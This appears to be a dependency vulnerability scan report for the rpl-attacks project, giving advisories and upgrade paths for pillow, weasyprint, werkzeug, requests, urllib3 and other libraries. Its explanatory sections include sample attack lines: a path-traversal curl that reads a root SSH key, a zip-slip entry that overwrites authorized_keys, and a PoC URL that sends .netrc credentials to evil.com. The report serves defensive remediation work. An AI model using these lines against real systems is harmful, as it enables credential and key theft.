Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Infinite loop in trailer handling in PIL/PdfParser.py. An attacker can cause the application to consume excessive CPU by supplying a malicious file that creates a cyclic reference in the trailer's Prev pointer.
Remediation
Upgrade pillow to version 12.2.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Infinite loop in the EPS file parsing process when handling the %%BeginBinary directive. An attacker can cause the application to enter an infinite loop by supplying a crafted EPS file with a negative byte count, resulting in resource exhaustion and denial of service.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the XBM image parser in src/PIL/XbmImagePlugin.py when processing a malformed XBM file. The previous implementation read up to 512 bytes of the file header and applied a regular expression match, which can be exploited by an attacker supplying an XBM image with a large or pathological header to cause excessive resource consumption and crash the process.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Use of Uninitialized Variable in the topalette function in src/libImaging/Convert.c when quantize() is called with an empty palette. An attacker can trigger an unhandled error condition by supplying a palette with zero entries, causing the function to proceed into palette cache operations with an empty palette and crashing the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: weasyprint
- Introduced through: weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2Remediation: Upgrade to weasyprint@69.0.
Overview
weasyprint is a The Awesome Document Factory
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') in the processing of presentational hints when unescaped attribute values are embedded into CSS. An attacker can inject arbitrary CSS declarations by supplying crafted attribute values, potentially causing server-side requests or altering the rendered output. This is only exploitable if presentational hints are enabled.
Remediation
Upgrade weasyprint to version 69.0 or higher.
References
medium severity
- Vulnerable module: weasyprint
- Introduced through: weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2Remediation: Upgrade to weasyprint@68.0.
Overview
weasyprint is a The Awesome Document Factory
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the default_url_fetcher function. An attacker can access internal network resources by exploiting automatic HTTP redirects that are not re-validated against security policies.
Remediation
Upgrade weasyprint to version 68.0 or higher.
References
medium severity
- Vulnerable module: weasyprint
- Introduced through: weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2Remediation: Upgrade to weasyprint@70.0.
Overview
weasyprint is a The Awesome Document Factory
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the write_pdf() stylesheet and XMP metadata loading paths in weasyprint/document.py and weasyprint/pdf/__init__.py. An attacker can make the rendering process fetch local or internal resources by supplying attacker-controlled URLs or paths through stylesheets= or xmp_metadata=. This bypasses the document’s configured url_fetcher, so server-side PDF generation can read local files or reach internal endpoints, leading to data exposure and unintended resource access in applications that render untrusted input.
Remediation
Upgrade weasyprint to version 70.0 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in formparser.MultiPartParser(). An attacker can cause the parser to consume more memory than the upload size, in excess of max_form_memory_size, by sending malicious data in a non-file field of a multipart/form-data request.
Remediation
Upgrade werkzeug to version 3.0.6 or higher.
References
medium severity
- Vulnerable module: zipp
- Introduced through: markdown@3.4.4 and grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › markdown@3.4.4 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to markdown@3.5.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › markdown@3.4.4 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade zipp to version 3.19.1 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in multipart data parsing. An attacker can cause a denial of service and block worker processes from handling legitimate requests by sending crafted multipart data to an endpoint that will parse it, eventually exhausting or killing all available workers.
Exploiting this vulnerability is possible if the uploaded file starts with CR or LF and is followed by megabytes of data without these characters.
Remediation
Upgrade werkzeug to version 2.3.8, 3.0.1 or higher.
References
medium severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@46.0.6.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Improper Certificate Validation through the NameChain DNS verification logic in src/rust/cryptography-x509-verification. An attacker can make a peer name, such as bar.example.com, validate against a wildcard leaf certificate like *.example.com even when an issuing certificate in the chain excludes that DNS subtree, causing improper certificate acceptance.
Notes
- The flaw affects X.509 path validation when DNS name constraints are present, and the leaf certificate uses a wildcard DNS SAN.
- The maintainers note that ordinary X.509 topologies, including those used by the Web PKI, are not affected, and exploitation requires an uncommon certificate hierarchy.
Remediation
Upgrade cryptography to version 46.0.6 or higher.
References
medium severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@46.0.7.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write in the update function when non-contiguous buffers are provided as input. An attacker can cause memory corruption or unintended behavior by supplying specially crafted non-contiguous buffers to APIs that accept Python buffers.
Note: This is only exploitable if the Python version is greater than 3.11.
Remediation
Upgrade cryptography to version 46.0.7 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Buffer Over-read via incorrect row size calculation for P;2L and P;4L raw decode modes in RawDecode.c and decode.c. When decoding images using these bit-plane palette raw modes, the buffer size is computed using pixel-based bit arithmetic rather than the correct bit-plane row size, resulting in an incorrectly sized decode buffer. An attacker can supply a malformed image that triggers a buffer over-read, leading to an information disclosure of a small amount of heap memory or a crash.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Infinite loop via unbounded recursion in PdfParser.get_value and PdfParser.read_indirect in src/PIL/PdfParser.py. Both functions previously defaulted max_nesting to -1, meaning no nesting limit was enforced when parsing PDF structures. An attacker can supply a deeply nested PDF object to trigger unbounded recursion, exhausting the call stack and crashing the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Use of Uninitialized Resource via the Arrow array export functions (export_single_channel_array and export_fixed_pixel_array in src/libImaging/Arrow.c) when exporting non-contiguous images. When image rows are not stored contiguously in memory - such as with multi-block, aligned arena, or buffer-mapped images with a stride or bottom-up rows - the export logic incorrectly calculates the buffer length and selects the wrong backing buffer pointer, exposing memory contents beyond the intended image data to a caller receiving the Arrow array.
Note: This is only exploitable when the consuming application exports an Arrow array from an image that is non-contiguous in memory (e.g. created from a buffer with a non-standard stride or stored in multiple blocks).
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Werkzeug is a WSGI web application library.
Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.
Note: This is only exploitable on Windows systems using Python versions prior to 3.11.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade Werkzeug to version 3.0.6 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name, e.g. CON or NUL.
Note: This is only vulnerable on Windows, where special device names are implicitly present in every directory.
Remediation
Upgrade werkzeug to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join() function, which permits path segments containing Windows special device names with file extensions or trailing spaces. An attacker can access unintended files or devices by crafting malicious path inputs.
Note:
This issues exists due to the incomplete fix for CVE-2025-66221 that failed to account for compound extensions such as CON.txt.html or trailing spaces.
Remediation
Upgrade werkzeug to version 3.1.5 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name.
Notes:
This is only vulnerable on Windows, where special device names are implicitly present in every directory;
This is a bypass of CVE-2025-66221, as the added filtering failed to account for the fact that
safe_joinaccepts paths with multiple segments, such asexample/NUL.
Remediation
Upgrade werkzeug to version 3.1.6 or higher.
References
medium severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via safe_join on Windows, which fails to block special Windows device names (e.g. CON, NUL, AUX) when an empty Alternate Data Stream (ADS) marker (:) is appended to the name. An attacker can supply a path component such as CON: that bypasses the device-name check, causing the application to crash when the path is accessed on an NTFS filesystem.
Note: This is only exploitable on Windows hosts running on NTFS.
Remediation
Upgrade werkzeug to version 3.1.9 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.
Notes:
To be vulnerable, the application must be doing all of the following:
Setting the
Proxy-Authorizationheader without using urllib3's built-in proxy support.Not disabling HTTP redirects (e.g. with
redirects=False)Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.
Workarounds
Using the
Proxy-Authorizationheader with urllib3'sProxyManager.Disabling HTTP redirects using
redirects=Falsewhen sending requests.Not using the
Proxy-Authorizationheader.
Remediation
Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.
Note:
requests and botocore users are not affected.
Workaround
This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.
Remediation
Upgrade urllib3 to version 2.5.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.
Remediation
Upgrade pillow to version 10.3.0 or higher.
References
medium severity
new
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0
Overview
Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the DIV_I and MOD_I operators in src/_imagingmath.c, which guard only against a zero divisor but not against the INT32_MIN divided by -1 case. This causes a hardware divide exception, crashing the process. An attacker can supply a TIFF file that decodes to a mode I image containing INT32_MIN, triggering the crash in any application that runs an ImageMath divide or modulo operation with a -1 operand on that image.
Remediation
There is no fixed version for pillow.
References
medium severity
- Vulnerable module: requests
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).
PoC
requests.get('http://example.com:@evil.com/')
Remediation
Upgrade requests to version 2.32.4 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.
Notes:
For requests <2.32.0, avoid setting
verify=Falsefor the first request to a host while using a Requests Session.For requests <2.32.0, call
close()on Session objects to clear existing connections ifverify=Falseis used.This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.
Remediation
Upgrade requests to version 2.32.2 or higher.
References
medium severity
- Vulnerable module: html5lib
- Introduced through: weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › html5lib@1.1
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the clean() function. An attacker can execute arbitrary JavaScript code in the context of the user's browser by submitting crafted HTML containing a formaction attribute with a dangerous URI scheme such as javascript:. This is only exploitable if the application explicitly allows the formaction attribute on submit-capable controls such as <button> or <input> elements.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for html5lib.
References
medium severity
- Vulnerable module: idna
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › idna@3.10Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.
Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.
Workaround
This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
